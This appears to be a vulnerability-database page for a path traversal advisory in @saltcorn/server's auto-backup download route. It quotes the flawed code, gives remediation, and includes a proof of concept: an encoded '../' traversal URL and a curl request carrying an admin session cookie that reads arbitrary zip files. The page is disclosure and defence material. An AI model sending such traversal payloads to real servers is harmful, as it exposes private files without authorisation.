GHSA-277h-px4m-62q8 @saltcorn/server arbitrary file zip read and download when downloading auto backups

Not scored Published

Admin users can exploit path traversal in backup downloads to read arbitrary zip files from the server.

Exploited in the wild
Not known
Login needed
An administrator
Attackable
Over the internet
Victim action needed
Not needed
Fix
Available

What is GHSA-277h-px4m-62q8?

GHSA-277h-px4m-62q8 is a path traversal vulnerability in @saltcorn/server, published on 3 Oct 2024. An attacker needs administrator access to exploit it, with no action from the victim.

Official description

Summary

A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to res.download API.

Details

router.get(
  "/auto-backup-download/:filename",
  isAdmin,
  error_catcher(async (req, res) => {
    const { filename } = req.params; // [1] source
    [...]
    if (
      !isRoot ||
      !(filename.startsWith(backup_file_prefix) && filename.endsWith(".zip")) // [2]
    ) {
      res.redirect("/admin/backup");
      return;
    }
    const auto_backup_directory = getState().getConfig("auto_backup_directory");
    res.download(path.join(auto_backup_directory, filename), filename); // [3] sink
  })
);

Steps to reproduce (PoC)

  • create a file with .zip extension under /tmp folder:
echo "secret12345" > /tmp/secret.zip
  • log into the application as an admin user
  • visit the url http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip
  • download the zip file and then check if the zip was indeed downloaded:
cat secret.zip
secret12345
  • Alternatively send the following request to retrieve the file just created.
curl -i -X $'GET' \
    -H $'Host: localhost:3000' \
    -H $'Connection: close' \
    -b $'connect.sid=VALID_CONNECT_SID_COOKIE' \
    $'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip'

NOTE: To obtain a valid connect.sid cookie, just open the developer console while logged and retrieve the cookie value.

Impact

Arbitrary zip files download (information disclosure).

Resolve the filename parameter before checking if it starts with backup_file_prefix .

Which versions are affected by GHSA-277h-px4m-62q8?

2 open source packages ship an affected version, including @saltcorn/server.

PackageAffectedFixed in
@saltcorn/server npmAll versions1.0.0-beta.14
@saltcorn/server npmAll versions1.0.0-beta.14

How do I fix GHSA-277h-px4m-62q8?

Upgrade @saltcorn/server to 1.0.0-beta.14 or later.

Upgrade, and resolve every user-supplied path against an allowed base folder before opening it. More about Path traversal.

Is GHSA-277h-px4m-62q8 being exploited?

There is no known exploitation of GHSA-277h-px4m-62q8 in the wild and no public exploit code.

Sources

Is GHSA-277h-px4m-62q8 in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free